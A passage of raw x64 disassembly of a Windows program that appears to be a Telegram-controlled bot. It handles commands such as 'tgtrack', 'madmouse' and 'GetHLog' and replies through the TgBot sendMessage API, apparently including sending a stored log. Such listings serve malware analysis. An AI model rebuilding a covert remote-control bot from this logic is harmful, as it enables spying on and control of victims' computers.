cmp eax, 1
jne 0x14001e5cb
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001e611
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e60c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb37
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
call fcn.140004960
nop
lea rdx, str.Yandex__.
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea rcx, [rbp - 0x18]
call fcn.14001f740
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
nop
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e704
mov rcx, qword [rdi + 0x80]
mov r8, rbx
cmp rbx, 7
jne 0x14001e8c7
lea rdx, str.tgtrack
call fcn.14005bdc0
test eax, eax
jne 0x14001e8c7
cmp byte [0x14007e834], al
sete al
mov byte [0x14007e834], al
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x50]
test al, al
je 0x14001e807
call fcn.140004960
nop
lea rdx, [0x14006d010]
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea rcx, [rbp - 0x18]
call fcn.14001f740
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
nop
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
call fcn.140004960
nop
lea rdx, str.__.
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea rcx, [rbp - 0x18]
call fcn.14001f740
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
nop
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
lea rdx, str.madmouse
call fcn.1400222c0
test al, al
je 0x14001ea82
cmp byte [0x14007e835], 0
sete al
mov byte [0x14007e835], al
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x50]
test al, al
je 0x14001e9c5
call fcn.140004960
nop
lea rdx, [0x14006d070]
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rax, qword [rax + 0x30]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x10], rax
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea rcx, [rbp - 0x18]
call fcn.14001f740
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
nop
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
call fcn.140004960
nop
lea rdx, [0x14006d0a8]
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rax, qword [rax + 0x30]
mov rax, qword [rax + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea rcx, [rbp - 0x18]
call fcn.14001f740
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
nop
lea rcx, [rbp - 0x50]
call fcn.140004900
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
lea rdx, str.GetHLog
call fcn.1400222c0
test al, al
je 0x14001ead2
lea rdx, [0x14007e920]
lea rcx, [rbp - 0x70]
call fcn.140010030
nop
mov r8, rax
mov edx, 0x322c0dea
mov rcx, qword [r12]
call fcn.140010cf0
nop
lea rcx, [rbp - 0x70]
call fcn.140004900
lea rcx, [0x14007e920]
call fcn.140020f00
nop
mov rbx, qword [r15 + 8]
test rbx, rbx
je 0x14001eb05
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001eb05
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r14d
cmp r14d, 1
jne 0x14001eb05
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.14002ed10
mov rbx, qword [rsp + 0x340]
movaps xmm6, xmmword [rsp + 0x2e0]
add rsp, 0x2f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140036848
nop
call fcn.140036848
int3
call fcn.140036848
int3
call fcn.140036848
int3
call fcn.140036848
int3
call fcn.140036848
int3
call fcn.140036848
nop
call fcn.140036848
int3
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
int3
test dl, 4
je 0x14001eb8d
lea rbx, str.ios_base::badbit_set
jmp 0x14001eba2
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x18]
call fcn.1400019f0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.1400022b0
lea rdx, [0x140077950]
lea rcx, [rbp + 8]
call fcn.140030e58
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
nop
call fcn.140036848
int3